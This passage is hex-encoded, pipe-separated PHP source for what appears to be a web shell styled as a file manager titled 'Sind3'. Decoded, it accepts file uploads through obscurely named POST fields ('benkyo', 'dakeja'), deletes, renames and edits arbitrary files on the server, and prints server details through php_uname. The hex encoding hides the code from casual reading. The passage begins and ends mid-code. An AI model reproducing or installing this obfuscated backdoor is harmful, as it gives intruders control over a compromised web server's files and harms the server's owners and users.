45|646974|3C2F613E|207C2027|3B0A|202020|20|202020|20|20202020|65|63686F20|273C|612063|6C|61|73|733D22|616A61|78|5265|6E616D|652220|68726566|3D223F61|6374696F|6E3D72|65|6E616D|65|26643D27|20|2E|20|68|657828|24642920|2E202726|66|696C653D|27|202E20|75726C65|6E636F|64|6528|24|656E|74|7279|29202E|2027|223E5265|6E616D|653C|2F613E|20|7C|20273B|0A2020|20|20|2020|202020|20|2020|6563686F|2027|3C612063|6C617373|3D|22616A|61784465|6C657465|2220|6872|65663D22|3F616374|696F6E3D|64|656C|65|7465|26643D27|20|2E20|68657828|24|642920|2E|20|2726|66|696C653D|27|202E2075|726C656E|636F64|652824|65|6E747279|2920|2E202722|3E|44|656C|65|74|653C|2F613E|273B|0A20|20202020|20|20|202020|20206563|686F|2027|3C2F|74|64|3E273B0A|2020|20|20202020|20|20202020|6563686F|20|273C2F|74723E27|3B0A2020|20202020|20207D0A|20|2020|2020|2020|203F3E|0A|20202020|20202020|3C2F|74|626F6479|3E0A|20|20|20203C|2F74|61|626C|65|3E|0A2020|20203C|3F7068|700A2020|20|20657869|743B0A7D|0A|0A|69662028|69|73|73|6574|28|24|5F4745|545B27|616A61|78275D|292026|262024|5F474554|5B|27616A|6178|275D203D|3D3D2027|62|726561|6463|72|756D62|272920|7B0A2020|20|2024|6B20|3D|20|7072|65675F73|706C69|742822|2F285C|5C5C5C|7C|5C2F29|2F|222C20|2464|293B0A20|20202024|627265|61|646372|75|6D624874|6D6C|203D20|27|273B|0A202020|2066|6F72|6561|6368|20|28246B|2061|73|2024|6D|203D3E20|246C|29|20|7B0A20|202020|202020|20|6966|2028246C|20|3D|3D2027|27|202626|20|246D20|3D3D20|3029207B|0A20|20|20202020|2020|2020|2020|24627265|61646372|756D6248|746D6C|202E|3D2027|3C61|20|63|6C61|73733D22|61|6A782220|68726566|3D|223F643D|3266223E|2F3C2F|613E273B|0A2020|202020|2020207D|0A|20|20|20202020|20206966|2028246C|203D3D|202727|2920636F|6E7469|6E75|653B|0A|20|20|2020|20202020|24|62726561|64|63|72|75|6D62|4874|6D|6C202E3D|20|27|3C61|20|636C|617373|3D22|616A78|222068|72|65663D|223F64|3D|273B|0A20|20|20|20202020|20666F72|202824|6920|3D2030|3B2024|69203C|3D|2024|6D3B|2024|692B2B29|207B0A20|20|20|2020|202020|2020|20202462|7265|616463|72|756D6248|74|6D6C202E|3D206865|782824|6B5B24|695D29|3B0A2020|20202020|202020|20|20|20696620|28246920|213D2024|6D2920|24627265|61646372|75|6D|62|48746D|6C|202E3D|2027|326627|3B|0A|2020|2020|20202020|7D0A|202020|202020|202024|62|72656164|6372|756D6248|746D6C|202E3D|20|27|22|3E272E24|6C2E273C|2F613E|2F|273B0A20|2020207D|0A202020|2065|63|68|6F|20246272|6561|64637275|6D6248|746D|6C|3B|0A2020|2020|65786974|3B0A|7D0A0A|66756E|6374696F|6E2073|6166655F|7374|72|65616D5F|636F|7079|2824696E|2C|20246F75|74293A|2062|6F6F6C20|7B0A2020|20|2069|662028|5048505F|564552|53494F|4E5F49|44203C20|3830|30|30392920|7B0A2020|2020|20|202020|646F|207B0A20|2020|2020|202020|20202020|66|6F72|20|283B3B29|207B0A|202020|202020|20|202020|20202020|2020|24|62|75|6666|203D|20667265|616428|2469|6E|2C2034|303936|29|3B0A2020|202020|20202020|20202020|202020|69|66|20|282462|75|6666|203D3D3D|206661|6C73|6520|7C7C20|24627566|66|203D|3D|3D2027|2729|207B|0A|202020|20202020|20|20|20|2020|202020|20202020|20627265|616B3B|0A|20202020|20202020|20202020|20|202020|7D0A|202020|2020|20|202020|20202020|20|20206966|202866|777269|74|6528|246F|7574|2C20|24627566|6629|203D3D|3D206661|6C736529|207B0A20|2020|202020|20202020|20202020|2020|2020|20207265|7475726E|20|66|616C7365|3B0A20|202020|2020|2020|20|20|20202020|20|207D0A|202020|20202020|20|20202020|7D0A20|20202020|20|20|20|7D2077|6869|6C65|20|2821|66|656F6628|24|696E29|293B0A20|20202020|20202072|657475|72|6E20|7472|75653B|0A20|20|20|207D20|656C7365|207B|0A|2020|20|202020|20207265|747572|6E2073|747265|61|6D|5F63|6F70795F|746F5F|73|74|726561|6D2824|696E|2C|20|246F75|74292021|3D3D20|66|616C|7365|3B0A20|20|20207D|0A7D|0A|0A|69662028|69|73|73657428|245F504F|5354|5B2762|656E6B|79|6F27|5D292026|2620|69737365|742824|5F|504F53|545B27|6461|6B|656A61|275D29|29207B0A|202020|2024|66696C65|4E|616D6520|3D|20245F|504F|53|545B2762|65|6E6B|796F|275D3B0A|20202020|24656E|63|6F64|65|64436F6E|74|656E74|203D20|24|5F|504F53|545B2764|616B|656A61|275D3B|0A202020|20246465|636F6465|64436F6E|74656E|7420|3D20|68657832|62696E|2824656E|636F|646564|436F6E|74|656E7429|3B0A0A20|2020|20696620|282464|65636F64|65|64436F|6E|7465|6E74|20|3D3D|3D2066|616C7365|2920|7B0A20|20|20202020|20206966|202824|697341|6A617829|20|7B0A|20202020|20|2020|20202020|20|68656164|6572|28|27436F6E|74|656E74|2D54|7970653A|20|6170706C|696361|74|69|6F|6E2F|6A736F|6E27|293B0A|20|20202020|20|2020|202020|206563|686F|20|6A73|6F6E5F|65|6E|636F64|65285B27|737461|747573|27|203D3E|202766|6169|6C6564|272C2027|6D7367|27203D3E|2027496E|76616C69|64|20426173|653634|20656E|636F64|696E|67|275D|293B|0A20|20|20202020|20|207D|2065|6C|7365207B|0A2020|20|20202020|2020|20|202073|657446|6C61|7368|28|27666169|6C|656427|2C2027|496E76|616C|69642042|6173|65|3634|20656E63|6F|64|696E|67|2729|3B|0A|2020|20|2020|20|2020|20|20|202068|656164|657228|224C|6F636174|696F6E|3A203F|643D22|202E20|686578|28|24|642929|3B0A2020|202020|2020|20|7D|0A|2020|20|20|2020|20|2065|78|6974|3B0A|20|20|20|207D0A|0A20|202020|2474656D|705374|726561|6D203D20|666F70|656E28|277068|703A|2F|2F|7465|6D70272C|202772|2B2729|3B0A20|2020|2066|77|726974|652824|7465|6D7053|7472|6561|6D|2C20|24|6465|636F64|6564|436F6E|74656E74|293B0A20|202020|72657769|6E6428|2474|656D|705374|7265|616D293B|0A0A2020|20|20|2474|617267|65745061|7468203D|2024|64202E20|44495245|43544F52|595F5345|50415241|54|4F52|202E|2062|6173|656E616D|65282466|696C|654E|616D|65|29|3B0A20|202020|246F|75|745374|7265616D|203D|20666F70|656E|28247461|72|676574|5061|74682C20|277762|27293B|0A|0A20|2020|202473|75636365|73|73203D20|24|74656D|705374|7265616D|2026|262024|6F7574|53|747265|61|6D|20262620|73|616665|5F737472|6561|6D5F|636F70|79282474|656D70|537472|6561|6D2C2024|6F75|74537472|65616D29|3B0A|0A2020|202069|6620|28246F75|7453|74726561|6D29|2066|636C6F73|6528|246F7574|537472|65616D29|3B0A|20|202020|696620|282474|656D7053|747265|61|6D292066|636C6F73|65|28247465|6D7053|747265|616D|293B|0A0A|20202020|69662028|24|7375|636365|73732920|7B0A2020|2020|2020|20206966|20|282469|7341|6A61|7829|207B|0A2020|202020|2020|20202020|206865|616465|72282743|6F6E7465|6E742D54|7970|653A|206170|706C6963|61|74|696F6E2F|6A736F6E|27|293B0A20|202020|2020|20202020|20|20|656368|6F206A73|6F6E5F|656E|636F6465|28|5B|27737461|7475|732720|3D3E20|27737563|6365|737327|2C2027|6D736727|20|3D3E|202746|696C65|2075706C|6F61|64|6564|20737563|636573|736675|6C6C79|275D293B|0A202020|202020|20|20|7D20656C|7365|207B|0A202020|20|2020|2020|2020|20207365|7446|6C|6173|68282773|7563|636573|7327|2C20|2746|696C6520|75706C|6F616465|6420|7375|63636573|73|66756C6C|792729|3B0A20|202020|20202020|2020|202068|656164|6572|28224C|6F|6361|74696F|6E|3A20|3F|643D22|202E20|68657828|2464|29293B0A|20|20202020|20|20207D|0A|20202020|7D2065|6C7365|207B0A|20202020|202020|206966|20|28|2469|73|416A|617829|20|7B|0A20|202020|20202020|2020|20206865|61646572|2827436F|6E7465|6E742D54|797065|3A206170|706C|69636174|696F|6E2F6A|73|6F6E|27293B|0A2020|2020|2020|202020|2020|206563|686F206A|736F|6E|5F656E|636F|6465285B|27|73|7461|7475|732720|3D|3E|202766|61696C65|6427|2C2027|6D7367|27203D|3E202746|69|6C652075|706C|6F6164|20|66|6169|6C656427|5D|293B0A|20202020|20|202020|7D2065|6C73|6520|7B0A2020|20|20|20202020|20|20202073|65|74|46|6C617368|282766|61696C|656427|2C20|27|46|69|6C65|2075|706C6F|6164|206661|696C|65|6427|29|3B0A20|202020|2020|20202020|20206865|61|646572|28224C|6F636174|69|6F6E3A|203F64|3D22|202E2068|65|782824|6429293B|0A2020|2020|2020|20|20|202020|206578|69743B0A|20202020|2020|2020|7D0A|20|20|20207D0A|20202020|65786974|3B|0A7D|0A|696620|2869|73|73657428|245F47|45|545B|2761|637469|6F6E27|5D2920|26262069|6E5F6172|7261|79|28245F|4745545B|27616374|69|6F6E|275D2C|20|5B|27|6465|6C6574|6527|2C|202772|656E616D|6527|2C202765|6469|74|27|5D29|20262620|6973|73657428|245F47|45545B|276669|6C65|27|5D|292920|7B0A|2020|2020|69|662028|245F47|45|54|5B2761|6374696F|6E275D|203D3D3D|202764|656C6574|65|272920|7B0A|20202020|2020|202024|66696C65|4E616D65|20|3D20|245F4745|545B2766|696C65|275D3B|0A|20|2020|20202020|202466|696C6550|61|7468|20|3D|20726561|6C7061|746828|2464202E|20|44|495245|43544F52|595F5345|50415241|544F52|202E2024|66|696C|654E|616D|65293B|0A|202020|2020|202020|6966|20282124|66|696C6550|617468|207C7C20|2169|735F|66696C|65282466|696C6550|61746829|29|207B0A20|20202020|202020|20202020|2472|6573706F|6E73|6520|3D|205B|277374|6174|757327|3D3E|27|666169|6C6564|272C|276D7367|27|3D3E|27|46|69|6C65|206E6F74|2066|6F75|6E64|20|6F7220|61|63|636573|73|2064|656E6965|6427|5D3B0A20|20|202020|2020|20|7D2065|6C7365|207B|0A|20|20|20202020|20202020|202024|72|6573756C|74|203D2075|6E6C69|6E6B28|2466696C|6550|617468|293B0A|20|2020|202020|20202020|2020|2472|6573706F|6E|7365|203D20|2472|6573756C|74200A20|20202020|20|20202020|202020|2020|203F205B|27|73|746174|75|73273D3E|277375|63|63|6573|7327|2C|276D73|67273D3E|274669|6C65|20|64656C65|7465|64|207375|6363|6573|7366|756C6C79|275D20|0A|2020|2020|20202020|20202020|202020|203A205B|277374|6174|75|73|27|3D3E|2766|61|696C65|64272C27|6D736727|3D3E27|46696C|65206465|6C6574|696F|6E20|6661696C|6564275D|3B0A20|2020|202020|20|207D|0A2020|2020|202020|206865|616465|72|2827|436F|6E7465|6E742D|54797065|3A20|617070|6C696361|74|696F6E|2F6A|73|6F6E27|293B0A20|2020|20|2020|20206563|68|6F20|6A|736F|6E|5F65|6E|636F|64652824|72|6573|706F6E73|65293B|0A|20202020|202020|20|65786974|3B20|0A|20202020|7D20|656C|73656966|2028245F|47|45545B27|6163|74696F6E|275D|20|3D|3D|3D2027|72|656E|616D|652729|207B|0A2020|2020|2020|20206966|2028245F|53455256|45|52|5B275245|51|5545|5354|5F4D|455448|4F44275D|203D3D3D|20|2750|4F|535427|20|262620|697373|657428|24|5F504F53|545B|276E6577|5F6E|616D6527|5D2929|207B0A20|20202020|202020|202020|20246F6C|6446696C|65203D|207265|616C70|617468|282464|20|2E20|44495245|43|54|4F52|595F|53|45504152|41544F|52202E|20245F|4745|545B2766|696C65|275D293B|0A202020|202020|20|202020|202024|6E6577|4669|6C|6520|3D|2024|64202E20|4449|52454354|4F52|595F53|4550|4152|41544F52|202E|20245F50|4F|53|545B276E|65775F|6E61|6D|6527|5D3B|0A2020|202020|2020|20|20202020|69|662028|246F6C|6446696C|65|20|26262069|735F66|696C6528|24|6F6C64|46696C|65|29|2920|7B0A|20|202020|20202020|2020|2020|202020|202472|657375|6C|74|20|3D207265|6E616D|65|2824|6F|6C644669|6C652C|20246E|65|7746|696C65|293B0A|2020|202020|2020|20|2020|2020|20202020|247265|7370|6F6E7365|203D|20|247265|7375|6C|74|200A|2020|20202020|20202020|20|202020|2020|2020|20203F20|5B277374|6174|757327|3D3E2773|75636365|737327|2C276D73|6727|3D3E|2746696C|6520|72656E61|6D656420|7375|6363|6573|7366|756C6C79|275D20|0A202020|20|2020|20|20|20202020|20202020|20202020|3A205B|27|737461|74|757327|3D3E27|6661696C|6564272C|276D73|67273D3E|27|4669|6C|65|207265|6E616D|696E6720|6661|696C6564|275D3B|0A202020|20|202020|2020|2020|20|20|20|2020|6865|61|64657228|27436F6E|7465|6E742D54|7970653A|2061|7070|6C6963|6174|696F6E2F|6A736F6E|2729|3B0A|20|202020|20202020|20202020|2020|20206563|686F206A|736F6E|5F|656E636F|64652824|72657370|6F6E73|6529|3B0A20|202020|2020|20202020|20|20202020|20657869|74|3B0A|20|202020|20202020|20202020|7D|2065|6C73|65207B|0A|20202020|20|20|202020|2020|20202020|20686561|646572|2827|436F|6E74|656E74|2D547970|653A2061|70|70|6C|69|636174|696F6E2F|6A736F|6E2729|3B|0A|2020|202020|202020|20|20|20|2020|202020|6563686F|206A|73|6F6E5F|656E63|6F6465|285B27|7374|6174|757327|3D3E27|66|61696C|65|6427|2C276D|73|67|273D|3E|27|46|69|6C|65|206E|6F74|20|666F756E|6427|5D|293B0A|202020|2020|202020|20202020|20|20202065|7869743B|0A20|20202020|202020|20|2020207D|0A20|202020|20|2020|207D20|656C7365|696620|2824|6973|41|6A617829|20|7B0A20|2020|202020|202020|20202065|63686F|20273C|68|323E52|656E|616D6520|46696C65|3A2027|20|2E|20|68746D|6C7370|65|63|69616C63|686172|7328245F|474554|5B276669|6C65|27|5D2920|2E20273C|2F|68323E|273B0A|20202020|202020|20|20202020|65|63|686F20|273C6469|7620636C|617373|3D22|746572|6D696E|616C2D62|6F78|223E|273B|0A2020|202020|202020|20202020|6563|68|6F|20273C|666F|72|6D|2063|6C|6173733D|22616A|6178466F|72|6D2220|6D|6574686F|643D|22504F|53|5422|20616374|696F6E3D|22|3F616374|69|6F6E3D|72|65|6E|616D|65|26|643D27|20|2E|20|686578|2824|6429202E|2027|266669|6C653D27|20|2E20|75726C65|6E|636F|646528|245F47|45545B27|66|696C65|275D29|202E2027|22|3E273B0A|202020|2020|202020|2020|20|206563|686F2027|3C|696E|70757420|74797065|3D227465|787422|206E|61|6D653D|226E|65|775F6E61|6D|6522|20706C|61|63|65686F|6C6465|72|3D22|4E65|77206669|6C65206E|616D65|22207265|71|756972|65|643E3C|62|723E|273B0A|20202020|20|2020|2020|20202065|6368|6F20273C|62723E3C|69|6E70|7574|2074|7970653D|22737562|6D69|74|222076|61|6C75|653D22|52656E|616D|6522|3E2027|3B0A2020|20202020|20|202020|202065|63|686F|20|273C|62757474|6F6E2074|7970653D|2262|7574|746F|6E|22|206964|3D|226361|6E|63656C41|6374|696F6E|22|3E43|616E|6365|6C3C2F62|75|74|746F|6E|3E273B0A|2020|20202020|202020|20|20|20|6563686F|20|27|3C2F66|6F72|6D|3E27|3B0A|2020|20202020|20202020|20|2065|63|686F20|273C2F|6469|76|3E3C68|723E273B|0A2020|202020|20202020|20|20|20|65|7869743B|0A|2020|20202020|20207D|0A20|2020|207D|2065|6C|736569|66|202824|5F|4745|545B27|61637469|6F6E|275D20|3D3D3D20|2765|6469|7427|29|207B|0A2020|202020|20|2020|696620|2824|5F534552|5645|525B|27524551|55455354|5F4D4554|484F|44275D|203D|3D|3D|2027504F|535427|20|26262069|73736574|28245F|50|4F|53|545B|27636F|6E74656E|74|275D29|29207B0A|20|2020|202020|20202020|20202466|696C|65|5061|746820|3D207265|616C70|61746828|246420|2E20|44495245|43|544F5259|5F|53|45|5041|524154|4F5220|2E20|24|5F47|45|545B2766|69|6C65|275D293B|0A2020|20202020|20|2020|20|2020|6966|20282466|696C|6550|61|7468|202626|2069|73|5F6669|6C6528|24|66|696C6550|617468|2929|207B0A|20202020|20202020|20202020|20202020|2466|70203D|20|66|6F70656E|282466|696C|65506174|682C20|227722|293B0A|2020|2020|2020|2020|20202020|202020|20|69|66|20282466|702920|7B0A|202020|2020|20202020|2020|2020|202020|20|202020|2462|79|74657357|7269|74|74656E|20|3D20|667772|69746528|2466|702C2073|74|72697073|6C617368|65732824|5F50|4F5354|5B27636F|6E74656E|74275D|29293B|0A2020|202020|202020|20202020|202020|20202020|2066|636C6F|736528|246670|293B0A20|20|202020|202020|20|2020|20202020|20|2020|20202472|6573706F|6E|7365203D|202824|62797465|73|57|726974|7465|6E|2021|3D3D2066|616C7365|290A|20202020|20202020|202020|20202020|202020|20|20202020|203F205B|2773|74617475|7327203D|3E2027|73756363|657373|272C|20|276D73|67|27|203D3E20|2746|696C|6520|6564|697465|642073|756363|65|73736675|6C|6C|79275D0A|2020|202020|20202020|2020|2020|20|20202020|2020|20202020|3A205B27|737461|7475|73|27203D3E|202766|61696C65|64|272C2027|6D|7367|27|203D|3E20|274669|6C6520|65646974|696E6720|666169|6C|6564275D|3B|0A202020|202020|202020|202020|20|20|20207D|2065|6C736520|7B|0A|202020|202020|20|202020|20|20|20202020|202020|202472|6573706F|6E|736520|3D|205B|277374|6174|75732720|3D3E2027|6661696C|65|64272C20|27|6D736727|203D3E|202746|696C|65|206F|70|656E696E|67206661|696C65|6427|5D|3B0A20|202020|202020|202020|20202020|20207D0A|20202020|20202020|20|20202020|2020|206865|61646572|28|2743|6F|6E|74|656E74|2D|54|7970653A|20617070|6C|69|63|61|74|696F6E|2F6A736F|6E|2729|3B|0A202020|2020|20|202020|20202020|20|20|20656368|6F206A73|6F6E|5F|65|6E636F|646528|24|7265|7370|6F6E73|6529|3B0A2020|202020|20202020|202020|2020|2020|65786974|3B0A|20202020|20202020|20202020|7D20656C|7365207B|0A20|20202020|202020|20|2020|20202020|20686561|64|6572|282743|6F|6E74656E|742D5479|70|653A2061|7070|6C|69|636174|69|6F6E2F6A|736F6E27|293B0A|20202020|202020|2020|2020|2020|20|20|20656368|6F206A|736F6E5F|656E|636F64|6528|5B277374|617475|732720|3D|3E2027|6661696C|6564|272C20|276D|73|6727203D|3E202746|69|6C65|20|6E6F74|20666F75|6E64275D|293B|0A|202020|20202020|20|20|202020|20|20202065|78|69743B0A|20|2020|20202020|2020|2020|207D20|2020|20|2020|20200A|202020|20202020|20|7D|2065|6C73|656966|202824|69|7341|6A61|7829207B|0A20|20202020|202020|20202020|2466|696C|655061|7468|20|3D|207265|616C7061|74|68|28|24|64|20|2E2044|4952|454354|4F52595F|534550|4152|4154|4F52202E|2024|5F4745|545B|27|66696C|6527|5D293B0A|202020|20|20202020|2020|2020|6966|20|282466|696C|65|5061|746820|2626|20|69735F|66696C|6528|2466|696C6550|6174|68292920|7B0A|20|20|2020|202020|202020|202020|202020|2463|6F6E7465|6E74|203D2066|69|6C65|5F67|65|745F63|6F6E7465|6E747328|2466696C|65506174|6829|3B0A20|202020|2020|2020|2020|20202020|20|2065|63686F|2027|3C6832|3E456469|74|2046696C|65|3A2027|20|2E20|68|746D6C|7370|656369|616C63|68|61727328|24|5F|47|45545B27|66696C65|275D|29|202E|20|273C2F|68323E27|3B0A2020|20202020|20|2020|2020|202020|20|20|656368|6F2027|3C646976|20636C|61|7373|3D22|74|65726D69|6E616C|2D|62|6F7822|3E273B|0A202020|202020|20202020|20|2020|202020|6563|686F|20273C66|6F72|6D2063|6C61|73733D|2261|6A|617846|6F726D22|20|6D657468|6F643D22|504F53|542220|6163|74696F6E|3D22|3F616374|696F6E|3D65|64697426|643D27|202E2068|6578|28|246429|202E|202726|66|696C|653D2720|2E20|75726C|656E63|6F6465|28245F47|45|54|5B27|66696C|65|27|5D29202E|20|27|223E273B|0A202020|20|20|20202020|20202020|202020|6563|686F20|273C74|6578|746172|65|6120|6E616D65|3D22|636F6E74|656E74|22|20726F|77733D|2231|30222063|6F|6C73|3D2235|3022|20726571|75697265|643E2720|2E|2068746D|6C73|70656369|616C|6368|6172|732824|636F6E74|656E|742920|2E20273C|2F74|6578|74617265|613E3C|62723E|27|3B0A20|2020|2020|2020|20|20|20|20202020|2020|6563686F|20|273C6272|3E3C696E|707574|2074|797065|3D|22|7375626D|69742220|76616C75|65|3D22|53|61|76|65|223E20|27|3B0A|202020|20|20202020|2020|20202020|2020|65|6368|6F20|273C|62757474|6F|6E207479|70|653D2262|7574|74|6F6E2220|6964|3D|2263616E|63|656C41|63|7469|6F|6E|22|3E4361|6E63|65|6C3C2F|627574|746F6E3E|273B|0A202020|202020|2020|20|202020|2020|202065|63686F|20273C2F|66|6F726D3E|273B0A|202020|20|20|202020|20202020|2020|20|2065|63686F|20273C2F|6469|763E3C68|723E27|3B0A2020|20202020|2020|20|2020|207D|0A2020|2020|20202020|202020|20657869|743B0A|20|20202020|20|2020|7D0A|20202020|7D0A|7D0A|3F3E0A3C|21444F43|5459|504520|68|746D6C3E|0A3C68|746D6C|3E0A3C|6865|61643E|0A202020|20|3C6D|65|74|612063|686172|7365|743D22|5554462D|38223E|0A2020|2020|3C|7469|746C65|3E5369|6E|64333C2F|746974|6C653E|0A|20202020|3C|212D2D|204C6F61|64|20556275|6E|7475204D|6F6E6F|2066726F|6D20476F|6F|67|6C6520|466F6E74|7320|2D2D3E0A|20202020|3C6C696E|6B|20687265|663D2268|7474|70733A2F|2F666F|6E7473|2E676F|6F67|6C6561|70|6973|2E|636F6D|2F63|737332|3F6661|6D|69|6C793D55|62756E74|752B4D6F|6E6F|2664|6973|706C|61|79|3D73|776170|22|207265|6C3D22|7374|796C65|7368|65|6574|223E0A20|202020|3C737479|6C65|3E|0A202020|2020|2020|202A207B|2062|6F78|2D73697A|696E67|3A|20626F72|6465|722D626F|783B207D|0A2020|2020|2020|202062|6F6479|207B0A|202020|2020|20202020|2020|20626163|6B67|72|6F756E|642D63|6F6C|6F|723A2072|67626128|33372C20|33372C|2033372C|20302E38|293B20|2F2A|20477261|79207769|7468|20736C|69676874|207472|616E|73|70|6172656E|6379|202A2F0A|2020|20202020|20202020|20|20636F|6C|6F723A20|23|666666|3B|0A20|202020|20202020|202020|2066|6F6E742D|66616D69|6C|793A|2027|55|62756E|7475204D|6F6E|6F272C20|6D6F|6E6F|73|70616365|3B0A2020|202020|202020|2020|20206D|61|7267696E|3A20303B|0A202020|20202020|202020|2020|7061|6464696E|673A2030|3B0A|202020|202020|20207D0A|2020|2020|20|20|20|202E|636F6E|746169|6E6572|207B0A|2020|2020|20|202020|20202020|77696474|683A20|3630253B|0A2020|202020|20202020|202020|6D6172|67696E3A|20353070|782061|75|74|6F3B0A20|20202020|20|2020|20202020|706164|64696E|673A2032|307078|3B0A|2020|2020|20202020|20|20|202062|61|63|6B67|72|6F756E64|2D636F6C|6F723A20|233232|32|3B0A20|2020|2020|20202020|2020|20626F|72646572|2D|72616469|75733A20|387078|3B0A20|20202020|2020|207D0A|202020|20202020|202E|6675|74657220|7B|0A2020|20|20202020|202020|20207769|647468|3A|20|36|30|253B|0A|2020|202020|202020|2020|20206D61|7267|696E|3A|20353070|78|20|6175|746F|3B0A20|20202020|2020|20|20202020|7061|64|64696E|673A|203230|70783B|0A20|20|2020|20202020|20202020|6261636B|67726F75|6E64|2D636F6C|6F723A20|23|3232323B|0A20|20|2020|2020|20|2020|20202062|6F72|646572|2D|726164|69|75|73|3A2038|70783B|0A2020|2020|2020|20207D|0A2020|20202020|2020|2E62|726561|64|63|72|756D6273|207B20|6D61|7267696E|2D|626F|74746F6D|3A|203135|70783B20|7D|0A20|20202020|20|20206120|7B20|636F6C6F|723A2023|3066|303B20|74657874|2D646563|6F72|617469|6F|6E|3A206E6F|6E653B|20|7D0A|20|202020|20|202020|613A|686F76|65|72|207B2074|6578742D|6465636F|726174|69|6F6E3A20|756E|6465726C|696E65|3B20|7D|0A202020|2020|2020|20746162|6C6520|7B207769|64|7468|3A|203130|3025|3B20626F|726465|72|2D636F6C|6C|6170|73|653A20|636F6C6C|61707365|3B206D|61|726769|6E2D|746F|70|3A203230|70|78|3B20|7D0A2020|20|20202020|2074682C|207464|207B2062|6F72|64|65723A20|3170|7820736F|6C|6964|2023|353535|3B|20706164|64696E67|3A|20387078|3B2074|6578|742D|61|6C6967|6E3A|206C|656674|3B|207D0A|20202020|202020|20|7468|207B2062|6163|6B|67726F75|6E64|2D636F6C|6F723A20|23333333|3B207D|0A|20202020|20|2020|20|69|6E70|75|745B74|7970653D|227465|7874225D|2C|20|746578|74|61726561|20|7B0A20|20202020|202020|2020|2020|77696474|683A2031|30|30253B0A|20202020|2020|20202020|20207061|6464|69|6E673A20|3870|783B0A20|20202020|2020|20|202020|20|6D617267|69|6E3A20|303B|0A|20|2020|202020|20202020|20|2062|6F7264|6572|3A2031|707820|73|6F|6C696420|23333333|3B0A|2020|2020|20202020|2020|2020|626F72|646572|2D72|616469|75733A|20|34|7078|3B0A|2020|20202020|202020|20|2020666F|6E74|2D6661|6D696C|793A20|275562|756E|7475|204D6F|6E6F27|2C|206D|6F|6E6F7370|616365|3B0A20|20|2020|2020|2020|7D0A|2020|2020|2020|2020696E|7075745B|74|7970653D|2273|7562|6D697422|5D2C|206275|7474|6F6E|207B|0A|20202020|20202020|202020|20626F|726465|723A|20317078|20736F|6C6964|202366|66663B|0A2020|202020|2020|20202020|20706164|64|696E673A|20|3470783B|0A20|20|20|2020|20|20|20|20|2020|20|6261|63|6B6772|6F756E64|2D636F|6C|6F72|3A|202333|33333B0A|20|20202020|2020|2020|202020|636F6C|6F723A|202366|66663B0A|20|202020|20|2020|202020|202063|7572|73|6F|72|3A20|706F69|6E74|65723B|0A2020|20202020|20202020|20|20|626F72|6465|722D7261|6469|75733A20|3470783B|0A|20202020|2020|20|207D0A20|20202020|202020|666F72|6D20|7B|206D61|726769|6E2D|62|6F7474|6F6D|3A2032|3070|78|3B|207D0A20|202020|2020|20202E74|65726D69|6E61|6C2D|626F|78207B|0A|20202020|20202020|20|20202062|61636B67|726F|756E64|2D63|6F|6C6F72|3A|20233232|323B0A|202020|202020|2020|20|202020|636F|6C|6F723A|2023|306630|3B|0A2020|20202020|2020|202020|20|70|61|646469|6E|673A|20|31|3570783B|0A|20202020|20202020|2020|2020|626F7264|65723A20|317078|20736F|6C6964|20|23|3333333B|0A|20|20|2020|20202020|20202020|62|6F72|6465|72|2D7261|64|697573|3A203470|783B0A20|20|2020|20202020|202020|20|6D|617267|696E2D|626F7474|6F6D|3A20|323070|783B0A|202020|20202020|207D0A|202020|20202020|202E7465|726D|696E|61|6C|2D626F78|20696E|70|75745B|74|797065|3D2274|65787422|5D2C0A|20|20202020|20|20202E|74|6572|6D|696E|616C|2D62|6F782074|65|787461|72656120|7B0A2020|20202020|20202020|20|20|62|61636B67|726F756E|642D636F|6C|6F723A20|23|3232323B|0A202020|202020|20202020|202063|6F6C6F72|3A202330|66303B|0A202020|20202020|202020|20|20|626F7264|65723A|20317078|2073|6F6C69|64202333|33333B0A|20202020|2020|20|207D|0A2020|20202020|20202E|6E6F7469|66696361|74696F6E|207B|0A2020|202020|20|20202020|202070|6F7369|7469|6F6E|3A|20|66|69786564|3B|0A|20202020|202020|20202020|20626F74|746F6D|3A2032|307078|3B|0A|202020|20|20|202020|2020|20206C65|6674|3A2032|30|70|783B0A20|202020|20|20202020|20202070|61646469|6E67|3A2031|307078|20|32|3070|783B0A|20|202020|20202020|20|2020|20626F72|6465|72|2D7261|6469|75733A20|3470|783B|0A|202020|202020|20202020|202066|6F6E74|2D66|61|6D696C|793A|202755|62756E|7475|20|4D6F|6E6F27|2C|206D6F|6E6F7370|61|63653B0A|202020|2020|202020|20202020|66|6F6E|74|2D73697A|653A20|31|34|7078|3B0A20|20|20202020|20|207D0A20|202020|2020|2020|2E737563|636573|7320|7B20|62|61|63|6B|67726F75|6E642D|636F6C6F|723A2023|30|61303B20|636F6C6F|723A|20236666|663B207D|0A|2020|20|20|20202020|2E6661|696C65|64|20|7B|20|6261|636B6772|6F|75|6E|642D|636F6C6F|723A2023|6130303B|20636F|6C6F723A|20236666|663B20|7D0A|20202020|202020|202F2A|2043|7573|746F6D20|6669|6C652069|6E|707574|20627574|746F|6E20|7374796C|696E6720|2A2F0A20|20202020|202020|2366|696C|6549|6E|70|75|74207B0A|20|202020|20|20202020|20|2020|64|6973706C|61793A|206E6F6E|653B|0A2020|202020|20|20|207D0A|2020|202020|20|20202E63|7573|746F6D2D|66|696C|65|2D|62757474|6F6E207B|0A20|20|2020|202020|2020|2020|20|62|6F726465|723A|2031|70|782073|6F|6C696420|236666|663B0A|202020|202020|2020|202020|2070|61646469|6E67|3A|2034|70783B0A|20202020|20|2020|2020|20|20|206261|636B67|72|6F|756E|642D636F|6C6F723A|2023|33|3333|3B0A2020|20|20|20202020|2020|202063|6F6C6F|72|3A20|236666|663B0A20|202020|202020|2020|2020|20|63|757273|6F723A|20706F69|6E|746572|3B|0A2020|2020|2020|20202020|2020|626F72|6465722D|72|616469|75733A20|3470|783B0A20|20202020|202020|2020|202064|6973706C|61793A|20696E|6C69|6E652D|626C|6F636B3B|0A2020|20202020|2020|7D|0A202020|203C|2F|737479|6C65|3E0A3C2F|68656164|3E0A|3C626F|6479|3E0A3C64|697620|636C|6173733D|22|636F6E|746169|6E6572|22|3E0A20|20|2020|26|7468|696E7370|3B26|7468696E|73|703B|267468|696E73|703B3C62|3E534552|562020|3A|3C|2F62|3E203C3F|3D206973|73|65742824|5F5345|525645|52|5B2753|4552|5645|525F53|4F46|54574152|4527|5D29203F|2070|68705F75|6E61|6D652829|20|3A2022|53657276|65|7220|696E66|6F726D|6174|69|6F6E20|6E6F|74|206176|61696C|6162|6C6522|3B203F|3E3C62|723E0A20|20202026|74|68696E|73703B26|74|6869|6E|73703B|267468|696E|73703B|3C623E53|4F4654|2020